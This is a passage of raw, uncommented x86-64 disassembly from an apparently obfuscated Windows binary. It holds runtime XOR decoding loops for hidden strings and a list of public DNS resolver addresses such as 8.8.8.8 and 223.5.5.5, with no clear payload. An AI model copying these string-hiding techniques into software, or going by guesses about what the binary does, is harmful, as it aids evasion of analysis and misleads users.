movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], rbx
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x140071b93
lea rcx, [rbp - 0x70]
call fcn.14007e720
nop
mov dword [rsp + 0x40], 0x5051d27
movd xmm1, dword [rsp + 0x40]
movd xmm0, r12d
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
mov byte [rsp + 0x44], 0
mov dword [rbp + 0xf0], 0xe7908fe6
mov word [rbp + 0xf4], 0xbaa4
mov byte [rbp + 0xf6], 0
mov eax, ebx
cmp dword [0x1400d6e48], 1
sete al
mov dword [0x1400d6d70], eax
lea rdx, [rbp + 0xf0]
lea rax, [rsp + 0x40]
cmovne rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], rbx
mov qword [rbp + 0x120], rbx
mov r8, rsi
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x140071c20
lea rcx, [rbp + 0x108]
call fcn.14007e720
nop
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x108]
call fcn.140064ab0
mov rcx, qword [0x1400d8e10]
mov rdx, qword [rcx + 0x3fe0]
cmp byte [rcx + 0x42ab], 0
je 0x140071c9b
cmp byte [rcx + 0x42aa], 0
jne 0x140071c9b
test byte [rcx + 0x40b4], 4
jne 0x140072133
mov eax, dword [rcx + 0x4270]
mov r8d, dword [rcx + 0x40b0]
cmp eax, r8d
jne 0x140072133
test eax, eax
je 0x140072133
cmp r8d, dword [rdx + 8]
jmp 0x140071d77
mov eax, dword [rcx + 0x40b8]
test al, 1
je 0x140072133
cmp qword [rcx + 0x3fe8], rdx
je 0x140071cba
test al, al
jns 0x140072133
mov eax, dword [rcx + 0x4034]
test eax, eax
je 0x140071ce9
cmp eax, dword [rcx + 0x40b0]
je 0x140071ce9
cmp byte [rcx + 0x4041], 0
jne 0x140071ce9
cmp eax, dword [rdx + 0x8c]
je 0x140071ce9
cmp eax, dword [rdx + 0x90]
jne 0x140072133
mov rax, qword [rcx + 0x4268]
test rax, rax
je 0x140071d2d
mov rax, qword [rax + 0x3b0]
test rax, rax
je 0x140071d2d
cmp byte [rax + 0xcc], 0
je 0x140071d2d
cmp rax, qword [rdx + 0x3b0]
je 0x140071d2d
mov r8d, dword [rax + 0xc]
bt r8d, 0x1b
jb 0x140072133
bt r8d, 0x1a
jb 0x140072133
mov rax, qword [rcx + 0x4228]
cmp qword [rdx + 0x30], rax
je 0x140071d5e
mov rax, qword [rcx + 0x4000]
test rax, rax
je 0x140072133
mov rax, qword [rax + 0x3b0]
cmp qword [rdx + 0x3b0], rax
jne 0x140072133
test byte [rcx + 0x40b4], 4
jne 0x140072133
mov eax, dword [rdx + 0x8c]
cmp dword [rcx + 0x40b0], eax
jne 0x140071d86
cmp byte [rdx + 0xcd], 0
jne 0x140072133
movdqa xmm0, xmmword [0x1400c5cd0]
movdqu xmmword [rbp + 0x150], xmm0
movdqa xmm1, xmmword [0x1400c62f0]
movdqu xmmword [rbp + 0x160], xmm1
movdqa xmm0, xmmword [0x1400c5b60]
movdqu xmmword [rbp + 0x170], xmm0
movdqa xmm1, xmmword [0x1400c6140]
movdqu xmmword [rbp + 0x180], xmm1
movdqa xmm0, xmmword [0x1400c5da0]
movdqu xmmword [rbp + 0x190], xmm0
mov dword [rbp + 0x1a0], 0xa3e5b7b1
mov dword [rbp + 0x1a4], 0xcae7abb3
mov r9d, ebx
mov r10d, r13d
lea r11, [rbp + 0x158]
nop word [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, 0x10
add r10d, 0x10
lea r11, [r11 + 0x10]
cmp r10d, 0x58
jb 0x140071e00
cmp r9d, 0x57
jae 0x140071f43
mov eax, r9d
lea rcx, [rbp + 0x150]
add rcx, rax
nop word [rax + rax]
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x57
jb 0x140071f30
mov byte [rbp + 0x1a7], 0
movdqa xmm0, xmmword [0x1400c5960]
movdqu xmmword [rbp + 0x350], xmm0
movdqa xmm1, xmmword [0x1400c5ab0]
movdqu xmmword [rbp + 0x360], xmm1
movdqa xmm0, xmmword [0x1400c53b0]
movdqu xmmword [rbp + 0x370], xmm0
movdqa xmm1, xmmword [0x1400c51c0]
movdqu xmmword [rbp + 0x380], xmm1
movdqa xmm0, xmmword [0x1400c5830]
movdqu xmmword [rbp + 0x390], xmm0
mov dword [rbp + 0x3a0], 0x2f6b532a
mov word [rbp + 0x3a4], 0x5065
mov byte [rbp + 0x3a6], 0xc9
mov r9d, ebx
mov r10d, r13d
lea r11, [rbp + 0x358]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, 0x10
add r10d, 0x10
lea r11, [r11 + 0x10]
cmp r10d, 0x58
jb 0x140071fc1
cmp r9d, 0x56
jae 0x140072103
mov eax, r9d
lea rcx, [rbp + 0x350]
add rcx, rax
nop word [rax + rax]
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x56
jb 0x1400720f0
mov byte [rbp + 0x3a6], 0
mov eax, ebx
cmp dword [0x1400d6e48], 1
sete al
mov dword [0x1400d6d70], eax
lea rcx, [rbp + 0x350]
lea rax, [rbp + 0x150]
cmovne rcx, rax
call fcn.140014910
mov dword [rbp + 0x100], 0x435c0000
mov dword [rbp + 0x104], 0x420c0000
movdqa xmm0, xmmword [0x1400c5cc0]
movdqu xmmword [rbp - 0x70], xmm0
mov dword [rbp - 0x60], 0xa6e1eae2
mov dword [rbp - 0x5c], 0xebf9edf5
mov word [rbp - 0x58], 0xfee2
mov byte [rbp - 0x56], 0x8d
movd eax, xmm0
movd xmm1, eax
movd xmm0, r12d
xorps xmm1, xmm0
movd dword [rbp - 0x70], xmm1
movd xmm2, dword [rbp - 0x6c]
mov r8d, dword [rbp - 0x30]
movd xmm0, r8d
xorps xmm2, xmm0
movd dword [rbp - 0x6c], xmm2
mov r9d, dword [rbp - 0x50]
movd xmm1, r9d
movd xmm0, dword [rbp - 0x68]
xorps xmm1, xmm0
movd dword [rbp - 0x68], xmm1
mov r10d, dword [rbp - 0x40]
movd xmm2, r10d
movd xmm0, dword [rbp - 0x64]
xorps xmm2, xmm0
movd dword [rbp - 0x64], xmm2
mov ecx, r15d
lea rdx, [rbp - 0x60]
nop word [rax + rax]
lea eax, [rcx + 0x73]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x1a
jb 0x1400721d0
mov byte [rbp - 0x56], 0
movdqa xmm0, xmmword [0x1400c59b0]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x10], 0x927
mov byte [rbp - 0xe], 0x85
movd xmm1, r12d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x20], xmm1
movd xmm1, r8d
movd xmm0, dword [rbp - 0x1c]
xorps xmm1, xmm0
movd dword [rbp - 0x1c], xmm1
movd xmm2, r9d
movd xmm0, dword [rbp - 0x18]
xorps xmm2, xmm0
movd dword [rbp - 0x18], xmm2
movd xmm1, r10d
movd xmm0, dword [rbp - 0x14]
xorps xmm1, xmm0
movd dword [rbp - 0x14], xmm1
mov ecx, r15d
lea rdx, [rbp - 0x10]
nop dword [rax]
lea eax, [rcx + 0x73]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x12
jb 0x140072250
mov byte [rbp - 0xe], 0
mov eax, ebx
cmp dword [0x1400d6e48], 1
sete al
mov dword [0x1400d6d70], eax
lea rcx, [rbp - 0x20]
lea rax, [rbp - 0x70]
cmovne rcx, rax
lea rdx, [rbp + 0x100]
call fcn.14003f080
test al, al
je 0x140073d5b
mov dword [rsp + 0x40], ebx
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x108], xmm1
mov qword [rbp + 0x118], rbx
mov dword [rbp + 0x100], 0x2e382e38
mov dword [rbp + 0x104], 0x342e34
lea rax, [rbp + 0x100]
mov qword [rsp + 0x70], rax
mov dword [rbp + 0xf0], 0x2e382e38
mov dword [rbp + 0xf4], 0x382e38
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x50], rax
lea r9, [rsp + 0x70]
lea r8, [rsp + 0x50]
xor edx, edx
lea rcx, [rbp + 0x108]
call fcn.14007f450
movdqa xmm0, xmmword [str.BEAXFIMTJMHPN]
movdqu xmmword [rbp + 0xf0], xmm0
mov ecx, ebx
lea rax, [rbp + 0xf0]
nop dword [rax]
movd xmm1, ecx
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
add ecx, 4
lea rax, [rax + 4]
cmp ecx, 0xc
jb 0x140072320
cmp ecx, 0xf
jae 0x140072380
mov eax, ecx
lea rdx, [rbp + 0xf0]
add rdx, rax
nop dword [rax + rax]
lea eax, [rcx + 0x73]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xf
jb 0x140072370
mov byte [rbp + 0xff], 0
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x50], rax
movdqa xmm0, xmmword [str.BEAXFIMTJMIPN]
movdqu xmmword [rbp + 0x130], xmm0
mov ecx, ebx
lea rax, [rbp + 0x130]
nop dword [rax]
movd xmm1, ecx
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
add ecx, 4
lea rax, [rax + 4]
cmp ecx, 0xc
jb 0x1400723b0
cmp ecx, 0xf
jae 0x140072410
mov eax, ecx
lea rdx, [rbp + 0x130]
add rdx, rax
nop dword [rax + rax]
lea eax, [rcx + 0x73]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xf
jb 0x140072400
mov byte [rbp + 0x13f], 0
lea rax, [rbp + 0x130]
mov qword [rbp + 0x100], rax
mov r14, qword [rbp + 0x110]
cmp r14, qword [rbp + 0x118]
je 0x1400724c1
mov qword [rsp + 0x50], r14
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], rbx
lea rax, [rbp + 0x130]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140072460
lea rdx, [rbp + 0x130]
mov rcx, r14
call fcn.14007e720
nop
lea rcx, [r14 + 0x20]
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rbx
mov qword [rcx + 0x18], rbx
lea rax, [rbp + 0xf0]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140072496
lea rdx, [rbp + 0xf0]
call fcn.14007e720
nop
mov r14, qword [rbp + 0x110]
add r14, 0x40
mov qword [rbp + 0x110], r14
jmp 0x1400724e3
lea r9, [rsp + 0x50]
lea r8, [rbp + 0x100]
mov rdx, r14
lea rcx, [rbp + 0x108]
call fcn.14007f450
mov r14, qword [rbp + 0x110]
mov dword [rbp + 0xf0], 0x2e333232
mov dword [rbp + 0xf4], 0x2e362e36
mov word [rbp + 0xf8], 0x36
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x50], rax
mov dword [rbp + 0x130], 0x2e333232
mov dword [rbp + 0x134], 0x2e352e35
mov word [rbp + 0x138], 0x35
lea rax, [rbp + 0x130]
mov qword [rbp + 0x100], rax
cmp r14, qword [rbp + 0x118]
je 0x1400725cb
mov qword [rsp + 0x50], r14
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], rbx
lea rax, [rbp + 0x130]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140072562
lea rdx, [rbp + 0x130]
mov rcx, r14
call fcn.14007e720
nop
lea rcx, [r14 + 0x20]
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rbx
mov qword [rcx + 0x18], rbx
lea rax, [rbp + 0xf0]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400725a0
lea rdx, [rbp + 0xf0]
call fcn.14007e720
nop
mov r14, qword [rbp + 0x110]
add r14, 0x40
mov qword [rbp + 0x110], r14
jmp 0x1400725ed
lea r9, [rsp + 0x50]
lea r8, [rbp + 0x100]
mov rdx, r14
lea rcx, [rbp + 0x108]
call fcn.14007f450
mov r14, qword [rbp + 0x110]
mov dword [rbp + 0xf0], 0x58464c42
mov dword [rbp + 0xf4], 0x42574841
mov dword [rbp + 0xf8], 0x46445249
mov byte [rbp + 0xfc], 0x7f
mov eax, ebx
lea rcx, [rbp + 0xf0]
nop dword [rax + rax]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add eax, 4
lea rcx, [rcx + 4]
cmp eax, 0xc
jb 0x140072620
mov byte [rbp + 0xfc], 0
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x50], rax
mov dword [rbp + 0x130], 0x58464c42
mov dword [rbp + 0x134], 0x42574841
mov dword [rbp + 0x138], 0x474c5248
mov byte [rbp + 0x13c], 0x7f
mov eax, ebx
lea rcx, [rbp + 0x130]
nop dword [rax + rax]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add eax, 4
lea rcx, [rcx + 4]
cmp eax, 0xc
jb 0x1400726a0
mov byte [rbp + 0x13c], 0
lea rax, [rbp + 0x130]
mov qword [rbp + 0x100], rax
cmp r14, qword [rbp + 0x118]
je 0x140072781
mov qword [rsp + 0x50], r14
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], rbx
lea rax, [rbp + 0x130]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140072720
lea rdx, [rbp + 0x130]
mov rcx, r14
call fcn.14007e720
nop
lea rcx, [r14 + 0x20]
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rbx
mov qword [rcx + 0x18], rbx
lea rax, [rbp + 0xf0]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140072756
lea rdx, [rbp + 0xf0]
call fcn.14007e720
nop
mov r14, qword [rbp + 0x110]
add r14, 0x40
mov qword [rbp + 0x110], r14
jmp 0x1400727a3
lea r9, [rsp + 0x50]
lea r8, [rbp + 0x100]
mov rdx, r14
lea rcx, [rbp + 0x108]
call fcn.14007f450
mov r14, qword [rbp + 0x110]
mov dword [rsp + 0x70], 0x2e322e34
mov dword [rsp + 0x74], 0x322e32
lea rax, [rsp + 0x70]
mov qword [rsp + 0x50], rax
mov dword [rbp + 0xf0], 0x2e322e34
mov dword [rbp + 0xf4], 0x312e32
lea rax, [rbp + 0xf0]
mov qword [rbp + 0x100], rax
cmp r14, qword [rbp + 0x118]
je 0x14007286d
mov qword [rsp + 0x50], r14
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], rbx
lea rax, [rbp + 0xf0]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140072810
lea rdx, [rbp + 0xf0]
mov rcx, r14
call fcn.14007e720
nop
lea rcx, [r14 + 0x20]
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rbx
mov qword [rcx + 0x18], rbx
lea rax, [rsp + 0x70]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140072844
lea rdx, [rsp + 0x70]
call fcn.14007e720
nop
mov r14, qword [rbp + 0x110]
add r14, 0x40
mov qword [rbp + 0x110], r14
jmp 0x14007288f
lea r9, [rsp + 0x50]
lea r8, [rbp + 0x100]
mov rdx, r14
lea rcx, [rbp + 0x108]
call fcn.14007f450
mov r14, qword [rbp + 0x110]
mov dword [rbp + 0xf0], 0x2e303831
mov dword [rbp + 0xf4], 0x2e343831
mov dword [rbp + 0xf8], 0x322e32
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x50], rax
mov dword [rbp + 0x130], 0x2e303831
mov dword [rbp + 0x134], 0x2e343831
mov dword [rbp + 0x138], 0x312e31
lea rax, [rbp + 0x130]
mov qword [rbp + 0x100], rax
cmp r14, qword [rbp + 0x118]
je 0x140072967
mov qword [rsp + 0x50], r14
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], rbx
lea rax, [rbp + 0x130]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140072910
lea rdx, [rbp + 0x130]
mov rcx, r14
call fcn.14007e720
nop
lea rcx, [r14 + 0x20]
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rbx
mov qword [rcx + 0x18], rbx
lea rax, [rbp + 0xf0]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140072946
lea rdx, [rbp + 0xf0]
call fcn.14007e720
nop
add qword [rbp + 0x110], 0x40
jmp 0x140072982
lea r9, [rsp + 0x50]
lea r8, [rbp + 0x100]
mov rdx, r14
lea rcx, [rbp + 0x108]
call fcn.14007f450
mov dword [rbp + 0xf0], 0x7774656e
mov dword [rbp + 0xf4], 0x6b726f
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], rbx
mov qword [rbp + 0xa0], rbx
lea rax, [rbp + 0xf0]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400729c0
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x88]
call fcn.14007e720
movdqa xmm0, xmmword [0x1400c6350]
movdqu xmmword [rbp + 0x70], xmm0
mov dword [rbp + 0x80], 0xf4eaf3f7
mov word [rbp + 0x84], 0x88ec
movd xmm1, r12d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x70], xmm1
mov r14d, dword [rbp - 0x30]
movd xmm1, r14d
movd xmm0, dword [rbp + 0x74]
xorps xmm1, xmm0
movd dword [rbp + 0x74], xmm1
movd xmm2, dword [rbp - 0x50]
movd xmm0, dword [rbp + 0x78]
xorps xmm2, xmm0
movd dword [rbp + 0x78], xmm2
movd xmm1, dword [rbp - 0x40]
movd xmm0, dword [rbp + 0x7c]
xorps xmm1, xmm0
movd dword [rbp + 0x7c], xmm1
mov ecx, r15d
lea rdx, [rbp + 0x80]
nop word [rax + rax]
lea eax, [rcx + 0x73]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x15
jb 0x140072a60
mov byte [rbp + 0x85], 0
lea r8, [0x1400d9e78]
cmp qword [0x1400d9e90], 0xf
cmova r8, qword [0x1400d9e78]
lea rax, [rbp + 0x88]
mov qword [rsp + 0x30], rax
lea rax, [0x1400c332e]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x150]
call fcn.140060070
nop
cmp qword [rbp + 0x160], 7
jne 0x140072dec
lea rax, [rbp + 0x50]
mov qword [rsp + 0x50], rax
movdqa xmm0, xmmword [0x1400c6290]
movdqu xmmword [rbp + 0x20], xmm0
movdqa xmm1, xmmword [0x1400c6790]
movdqu xmmword [rbp + 0x30], xmm1
mov dword [rbp + 0x40], 0xb7f1f1f7
mov byte [rbp + 0x44], 0x97
mov r9d, ebx
mov r10d, r13d
lea r11, [rbp + 0x28]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, 0x10
add r10d, 0x10
lea r11, [r11 + 0x10]
cmp r10d, 0x28
jb 0x140072b02
cmp r9d, 0x24
jae 0x140072c43
mov eax, r9d
lea rcx, [rbp + 0x20]
add rcx, rax
nop dword [rax]
nop dword [rax + rax]
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x24
jb 0x140072c30
mov byte [rbp + 0x44], 0
movdqa xmm0, xmmword [0x1400c5a30]
movdqu xmmword [rbp], xmm0
mov dword [rbp + 0x10], 0x3961041f
mov dword [rbp + 0x14], 0x72d6d29
mov word [rbp + 0x18], 0x8caa
movd xmm1, r12d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp], xmm1
movd xmm1, r14d
movd xmm0, dword [rbp + 4]
xorps xmm1, xmm0
movd dword [rbp + 4], xmm1
movd xmm2, dword [rbp - 0x50]
movd xmm0, dword [rbp + 8]
xorps xmm2, xmm0
movd dword [rbp + 8], xmm2
movd xmm1, dword [rbp - 0x40]
movd xmm0, dword [rbp + 0xc]
xorps xmm1, xmm0
movd dword [rbp + 0xc], xmm1
lea rcx, [rbp + 0x10]
nop word [rax + rax]
lea eax, [r15 + 0x73]
xor byte [rcx], al
inc r15d
lea rcx, [rcx + 1]
cmp r15d, 0x19
jb 0x140072cc0
mov byte [rbp + 0x19], 0
mov eax, ebx
cmp dword [0x1400d6e48], 1
sete al
mov dword [0x1400d6d70], eax
lea rdx, [rbp]
lea rax, [rbp + 0x20]
cmovne rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x68], rbx
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140072d10
lea rcx, [rbp + 0x50]
call fcn.14007e720
nop
mov dword [rbp - 0x80], 0x5051d27
movd xmm1, r12d
movd xmm0, dword [rbp - 0x80]
xorps xmm1, xmm0
movd dword [rbp - 0x80], xmm1
mov byte [rbp - 0x7c], 0
mov dword [rbp + 0xf0], 0xe7908fe6
mov word [rbp + 0xf4], 0xbaa4
mov byte [rbp + 0xf6], 0
mov eax, ebx
cmp dword [0x1400d6e48], 1
sete al
mov dword [0x1400d6d70], eax
lea rdx, [rbp + 0xf0]
lea rax, [rbp - 0x80]
cmovne rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], rbx
mov qword [rbp + 0x148], rbx
inc rsi
cmp byte [rdx + rsi], 0
jne 0x140072d94
mov r8, rsi
lea rcx, [rbp + 0x130]
call fcn.14007e720
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x130]
call fcn.140064ab0
mov rcx, qword [rbp + 0x108]
mov rdx, qword [rbp + 0x110]
cmp rcx, rdx
je 0x140073cb1
call fcn.14007de60
mov rcx, qword [rbp + 0x108]
mov qword [rbp + 0x110], rcx
jmp 0x140073cb1
mov rax, qword [rbp + 0x110]
mov qword [rsp + 0x50], rax
movdqa xmm14, xmmword [0x1400c5dc0]
mov rcx, qword [rbp + 0x108]
cmp rcx, rax
je 0x140073665
mov eax, dword [0x1400c4e80]
movd xmm1, eax
movd xmm0, edi
paddb xmm1, xmm0
movdqa xmmword [rbp], xmm1
lea r14, [rcx + 0x20]
movdqa xmm8, xmmword [0x1400c65a0]
movdqa xmm9, xmmword [0x1400c65d0]
movdqa xmm10, xmmword [0x1400c5bb0]
movdqa xmm11, xmmword [0x1400c61a0]
movdqa xmm12, xmmword [0x1400c6060]
movdqa xmm13, xmmword [0x1400c6250]
mov r12, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x140072e6f
mov r12, qword [r14]
lea r9, [r14 - 0x20]
cmp qword [r14 - 8], 0xf
jbe 0x140072e7d
mov r9, qword [r9]
movdqu xmmword [rbp + 0x350], xmm14
movdqu xmmword [rbp + 0x360], xmm13
movdqu xmmword [rbp + 0x370], xmm12
movdqu xmmword [rbp + 0x380], xmm11
movdqu xmmword [rbp + 0x390], xmm10
movdqu xmmword [rbp + 0x3a0], xmm9
mov dword [rbp + 0x3b0], 0xf1a6f1f4
mov word [rbp + 0x3b4], 0xfafe
mov byte [rbp + 0x3b6], 0xd9
mov r10d, ebx
mov r11d, r13d
lea r15, [rbp + 0x358]
nop word [rax + rax]
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
paddb xmm1, xmm0
movd xmm0, dword [r15 - 8]
xorps xmm1, xmm0
movd dword [r15 - 8], xmm1
lea eax, [r11 - 1]
lea ecx, [r11 - 2]
lea edx, [r11 - 3]
lea r8d, [r11 - 4]
movd xmm1, eax
